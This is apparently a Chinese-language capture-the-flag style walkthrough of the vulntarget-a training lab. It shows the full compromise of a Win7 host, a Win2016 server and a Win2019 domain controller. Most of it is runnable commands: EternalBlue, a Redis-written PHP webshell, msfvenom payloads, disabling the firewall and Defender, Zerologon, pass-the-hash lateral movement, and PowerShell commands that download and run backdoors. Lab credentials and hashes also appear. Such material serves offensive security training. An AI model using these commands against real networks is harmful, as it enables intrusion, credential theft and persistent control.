vnlutarget-a靶场环境
靶场地址:https://github.com/crow821/vulntarget
攻击机Kali(2024.2)
192.168.0.2
web服务(Win7)
外网IP:192.168.10.130
内网IP:10.0.20.98
账户:win7 admin
域主机(Win2016 )
内网1:10.0.20.99
内网2:10.0.10.111
账户1:Administrator Admin@123
账户2:vulntarget.com\win2016 Admin#123
域控(Win2019)
内网:10.0.10.110
账户:administrator Admin@666
使用的技术
通达OA系统漏洞
Redis未授权访问漏洞
ms17-010永恒之蓝
代理转发内网跳板
CVE-2020-1472 域控杀器Zerologon
wmiexec/smbexec横向移动
msfconsole
cobalt strike
1 Win7
1.1 信息收集
Kali使用nmap扫描目标主机(192.168.10.130)。
nmap -A -sV 192.168.10.130
结果:获取到目标主机的信息。
主机版本:Windows 7专业版
开放端口:80、135、139、445
80端口是http,可以对其进行访问。
135、139、445端口均是SMB服务的端口。
依据目标主机版本是win7,且开放了445端口,可以考虑到目标主机可能永恒之蓝漏洞。
1.1.1 访问80端口
在Kali中,使用火狐浏览器访问目标主机的80端口。
192.168.10.130:80
结果:发现开放的页面是 通达OA 2020。
通达OA系统可能存在可利用漏洞。
使用通达OA漏洞利用工具进行扫描。
结果:通达OA版本是Office Anywhere 11.3。存在任意文件上传漏洞。
1.1.2 探测445端口
对445端口进行探测,确认是否存在永恒之蓝。
在Kali中,使用msfconsole。
msfconsole
search ms17_010
找到永恒之蓝扫描模块,扫描目标主机。
结果:存在永恒之蓝漏洞。
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.10.130
run
1.2 利用80、445端口存在的漏洞
1.2.2 利用80端口
利用任意文件上传漏洞,上传shell。
使用中国蚁剑连接。
获取目标主机system权限。
1.2.2 利用445端口
由于存在永恒之蓝漏洞。在Kali中,msf直接利用 exploit/windows/smb/ms17_010_eternalblue。
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.130
run
1.3 创建Conbalt Strike服务
上线CS服务,以进一步深入系统、保持权限并执行后续操作。
在Kali中,新建会话。
在CS的文件里使用root权限,上线CS。
su root
./teamserver 192.168.10.129 123456
在客户端连接服务端。
./cobaltstrike
创建监听器。
名字:win7-TDOA
HTTP地址为:192.168.10.130
端口设定为:7777
由于在Kali中,使用永恒之蓝漏洞获取了meterpreter,直接利用msf会话注入CS。
#后台当前session
bg
#加载msf的payload注入功能
use exploit/windows/local/payload_inject
#设置payload
set payload windows/meterpreter/reverse_http
#设置CS服务器地址及端口
set LHOST 192.168.10.129
set LPORT 7777
#设置监控会话
set session 1
#设置当前msf不接受监听数据
set disablepayloadhander true
#攻击
run
成功上线CS。
1.4 内网渗透
对当前的主机进行渗透。
获取当前获取的主机的网络结构。
shell ipconfig
结果:目标主机存在两个网段。
IP1:10.0.20.98/24
IP2:192.168.10.130/24
扫描当前的网络及重要的端口。
portscan 10.0.20.0-10.0.20.255 1-1024,3389,5000-6400 arp 1024
结果:在该网段中存在两台主机。除了已攻陷的主机win7外,还存在另外一台主机(10.0.20.99)。
主机IP:10.0.20.99
端口:80、6379、5985
2 Windows server2016
已知收集内网信息:
主机IP:10.0.20.99
端口:80、6379、5985
2.1 设置代理通信
由于无法使用Kali直接访问内网, 因此无法对内网的主机(10.0.20.99)进行扫描和漏洞探测。想要访问内网,解决方法是可以通过在内网主机win7添加路由及设置代理,将win7作为跳板机,从而让攻击机Kali访问到内网。
2.1.2 添加路由
#进入之前设置的会话1
sessions 1
#添加路由
run autoroute -s 10.0.20.0/24
在CS中,设置Socks代理,代理端口为8888。
2.1.3 设置代理
在Kali中,利用proxychains 配合Socks代理通信。
su root
vim /etc/proxychains4.conf
#在proxychains4.conf文件底部中,添加Socks代理
socks4 127.0.0.1 8888
#保存退出
2.2 信息收集
设置好代理后,使用之前从win7(10.0.20.98)中收集到同网段的主机(10.0.20.99) 的端口(80,5895,6379)进一步进行扫描。
proxychains nmap -Pn -sT -p80,5895,6379 10.0.20.99
结果:三个端口均开启。
80端口为http服务,6379端口为redis服务。5895端口开放的服务未知,可以先搁置。
攻击机Kali使用dirsearch工具,对内网主机(10.0.20.99)目录进行扫描查看。看看是否能获取到有用的信息。
proxychains python dirsearch.py -u http://10.0.20.99 -i 200
结果:对扫描结果进行查看。可筛选出可以查阅的文件: /l.php,/phpinfo.php。
2.2.1 80端口
访问10.0.20.99的80端口。
使用火狐浏览器的FoxyProxy代理工具,添加代理。
#标题
8888
#类型
SOCKS4
#端口
8888
点击开启设置好的代理。
对10.0.20.99:80进行访问。
10.0.20.99:80
结果:发现主机(10.0.20.99)开放的80端口内容。
访问/l.php。
10.0.20.99/l.php
10.0.20.99/phpinfo.php
结果:发现两个文件是探针。通过查看探针(存储着服务器的配置信息),可以获取到目标主机服务器的相关配置信息。如:目标主机名是Win2016 。
ora-user-images%5Cimage-20240612111555279.png&pos_id=img-Aecc0mnl-1718271183101)
目标主机win2016(10.0.20.99)可能存在phpmyadmin日志写入shell漏洞。(由于本人未安装对应工具,暂时搁置该80端口)
考虑6379端口的redis是否存在漏洞。
2.2.2 6379端口
查看6379的Redis端口是否存在未授权访问漏洞。
proxychains redis-cli -h 10.0.20.99
发现目标端口redis存在未授权访问漏洞。
由于该服务器开启了http服务,可以不用写反弹shell。
写入webshell需要文件路径,而文件路径在探针中,可以获取到。
在会话中,写入webshell。
config set dir "C:/phpStudy/PHPTutorial/www/"
config set dbfilename shell.php
set x "<?php @eval($_POST['tpa']);?>"
save
使用蚁剑远程连接webshell。
由于访问主机2016(10.0.20.99)是需要使用代理的,蚁剑需要设置相应的代理才能对访问主机win2016。
设置蚁剑的代理。
协议:SOCKS4
代理服务器:192.168.10.129
端口:8888
测试连接,测试URL:http://10.0.20.99
测试连接显示成功,保存设置,重启蚁剑
重启蚁剑后,添加数据。
URL地址:http://10.0.20.99/shell.php
连接密码:tpa
2.2.3 获取win2016的信息
蚁剑连接后,开启虚拟终端。
查看当前权限,当前权限为system。
whoami
由于win2016是一台开启了http的服务器,使用quser命令查看当前上线的计算机。
quser
结果:只有一台win2016本机在线。
查看网络配置。
ipconfig /all
发现域名:vulntarget.com,内网IP:10.0.10.111/24。
2.3 win2016 msf上线
2.3.1 msf反向连接
生成反向shell。
LHOST设置为主机win7的内网ip地址:LHOST=10.0.20.98。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=5555 -f exe -o 5555.exe
设置监听。
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.0.20.98
set LPORT 5555
run
通过蚁剑上传反向shell:5555.exe。
执行反向5555.shell。
运行发现无法连接。
猜测存在防火墙、组策略或有杀毒软件的限制。
①防火墙
使用蚁剑,关闭防火墙。
#查看防火墙配置
netsh advfirewall show allprofiles
#关闭防火墙
netsh advfirewall set allprofiles state off
②组策略
使用蚁剑,重置组策略,并强制执行。
#不会产生显式的回显,但是它会执行相应的组策略更新操作
gpupdate /force
③杀毒软件
使用蚁剑,查看win2016进程是否存在防护软件。
tasklist
将进程列表复制到蚁剑插件(As-Exploits),进行杀毒软件的识别。
结果:存在杀毒软件(Windows DeFender)。
将杀软关闭。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
重新运行反向shell。
依然连接不上。
反向shell无法上线,考虑正向shell上线。
2.3.2 msf正向连接
生成正向shell。
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe >4444.exe
设置监听。
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.0.20.99
set LPORT 4444
run
将生成的shell,通过蚁剑上传至主机win2016上。
重新运行正向shell(4444.exe)。
运行shell。
连接成功。
2.4 权限维持。
使用CS,创建新的监听器。
名字:csfxx
Payload:Beacon TCP
端口:5557
生成Windows可执行程序的后门。
监听器为:CSFX
勾选”使用x64 payload“
使用蚁剑,将生成的后面(beacon.exe)上传至win2016(10.0.20.99)。
运行该后门(beacon.exe)。
beacon.exe
通过Win7(10.0.20.98)监听。
结果:监听成功上线。
connect 10.0.20.99 5557
3 win2019
3.1 信息收集
目前就差个DC域控就攻破了。
进行信息收集,目标为找到域控。
在使用正向shell获取的会话中,进行信息收集。
arp
探测下主域,定位域控。
run post/windows/gather/enum_domain
结果:得到域控IP:10.0.10.110
账号:win2019.vulntarget.com
域:balsec.com
要进一步进行渗透,需要添加路由。
因为这里用Win7的机器直接ping不通DC,Win2016有10.0.10.111和域控在同一C段可以ping通域控,还需要添加新的10.0.10.0/24的路由,因为已经上线了msf,直接添加路由。
run post/multi/manage/autoroute
查看路由。
run autoroute -p
使用CS,在win2016中设置代理转发端口。
socks 8887
同时也要在Kali上,设置8887代理端口,并将之前8888代理端口注释掉。
su root
vim /etc/proxychains4.conf
nmap扫描域控主机(10.0.10.110)。
proxychains4 nmap -Pn -sT 10.0.10.110
结果:发现扫描结果无效。
使用CS对域控主机(10.0.10.110)的注意端口进行扫描。
portscan 10.0.10.0-10.0.10.255 1-1024,3389,5000-6000 arp 1024
结果:主机win2019存在的端口有(5985、636、593、464、389、139、135、445)。
3.2 CVE-2020-1472
看到开放了445端口,考虑存在CVE-2020-1472。
对455端口进行扫描。
proxychains nmap 10.0.10.110 -p445
不确定445端口是否开启。
尝试使用CVE-2020-1472验证脚本(验证时间可能会有些久)。
SecuraBV/CVE-2020-1472: Test tool for CVE-2020-1472 (github.com)
进入下载后CVE-2020-1472验证脚本的目录。
proxychains python3 zerologon_tester.py WIN2019 10.0.10.110
结果:确实存在Zerologon的漏洞。
存在漏洞,对该漏洞进一步利用。
利用CVE-2020-1472的exploit。
https://github.com/dirkjanm/CVE-2020-1472
进入到CVE-2020-1472的exploit目录下。
proxychains python cve-2020-1472-exploit.py WIN2019 10.0.10.110
此时密码已被置空。
3.3 hash
利用python安装的impacket包中,examples目录下的exploit获取哈希值。
python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass
cd /home/kali/.local/bin
proxychains python3 secretsdump.py vulntarget/win2019\$@10.0.10.110 -no-pass
得到administrator的hash。
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
破解hash。
创建dchash.txt文件。
vim dchash.txt
输入获取的hash。
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
使用破解hash。
password.txt是字典。可以自己创建,dchash.txt创建的方式相同。或者使用其他渠道获取的字典。
su root
john --format=NT --wordlist=password.txt dchash.txt
获取出域控密码:Admin@666。右侧的盐(字符串)没有解除来,先忽略。
3.4 横向移动
利用smbexex.py 横向移动,获取到域控权限。
smbexec.py:
功能: 用于在目标系统上执行命令或脚本,利用的是SMB协议。
适用情况: 适合于运行了SMB服务的系统,可以通过445端口(SMB端口)与目标进行通信。
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110
3.5 Kali远程连接
在会话中,开启远程桌面。
注册表添加一项键值,用于配置远程桌面服务的端口。
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
发现编码错误。
查看域控编码。
chcp.com
获取到域控编码格式936。
加入编码格式936,重启获取域控。
roxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 -codec cp936 administrator@10.0.10.110
重新输入命令,注册表添加一项键值,用于配置远程桌面服务的端口号。
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
发现返回结果为:操作成功。
说明编码格式正确,可以进行下一步。
设置允许远程桌面连接。
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
允许其他设备通过 TCP 端口 3389 连接到当前计算机的远程桌面服务。
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
远程连接域控win2019。连接后域控后,基本是完成了本次靶场。
proxychains4 rdesktop 10.0.10.110
账号:vulntarget.com\administrator
密码:Admin@666
注:在未手动取消勾选”仅允许使用网络级别省份验证的远程桌面的计算机连接“,kali无法远程登陆域控。
需要手动取消勾选win2019主机的系统属性里远程"仅允许使用网络级别省份验证的远程桌面的计算机连接",否则无法远程连接。具体原因未知。
3.6 域控的后续权限维持
3.6.1 msf权限维持
更换远程连接方式。
尝试使用CS进行远程连接。
关闭防火墙。
netsh advfirewall set allprofiles state off
生成正向后门。
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8886 -f exe -o 8886bind.exe
由于win2016(10.0.20.99)开启了80端口有Web服务,可以先上传到这台计算机。随后使用域控下载下载win2016上的后门(8886bind)。
上传到win2016。
在域控中,下载刚刚上传后门(8886bind),并运行后门。
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/8886bind.exe','c:\tp.exe')
注:上传的文件路径为:C:\,可以通过wmiexec.py进入该目录。若目录路径为C:\Windows\system32,后门无法运行(会话会点开,无法再次连接)。
wmiexec.py 是一个Python脚本,通常用于执行WMI(Windows Management Instrumentation)操作。具体来说,它主要用于在Windows系统上执行远程操作,例如执行命令、获取系统信息或者管理远程系统。
WMI是Windows操作系统提供的管理和监控框架,通过WMI可以访问和控制操作系统的各种管理信息和功能。wmiexec.py可能是一个用于利用WMI接口执行命令或者脚本的工具,通常在系统管理、远程管理和安全审计等场景下使用。
使用 wmiexec.py横向移动,获取到域控权限。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110
运行tp.exe。
tp.exe
msf启动还是得利用win2016作为跳板机代理转发。
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8886
set rhost 10.0.10.110
run
成功获取meterpreter。
3.6.2 CS权限维持
使用CS,创建监听器。
名字:dc_tcp
Palyload:Beacon TCP
Port:5998
生成后门。
使用蚁剑,将生成的后门(dc_5998)上传至win2016(10.0.20.99)。
使用域控下载后门(dc_5998)。
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/dc_5998.exe','c:\dc_5998.exe')
运行dc_5998.exe。
连接win2019。
connect 10.0.10.110 5998
成功获取到域控主机权限。
参考
打穿内网之Vulntarget-a靶场实战记录-CSDN博客
[永久开源] vulntarget-a_打靶记录 (qq.com)
vulntarget漏洞靶场系列(一) (qq.com)
Cobalt Strike安装与使用_cobalt strike4.4-CSDN博客
dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura (github.com)
SecuraBV/CVE-2020-1472: Test tool for CVE-2020-1472 (github.com)
phpMyAdmin利用日志文件GetSHELL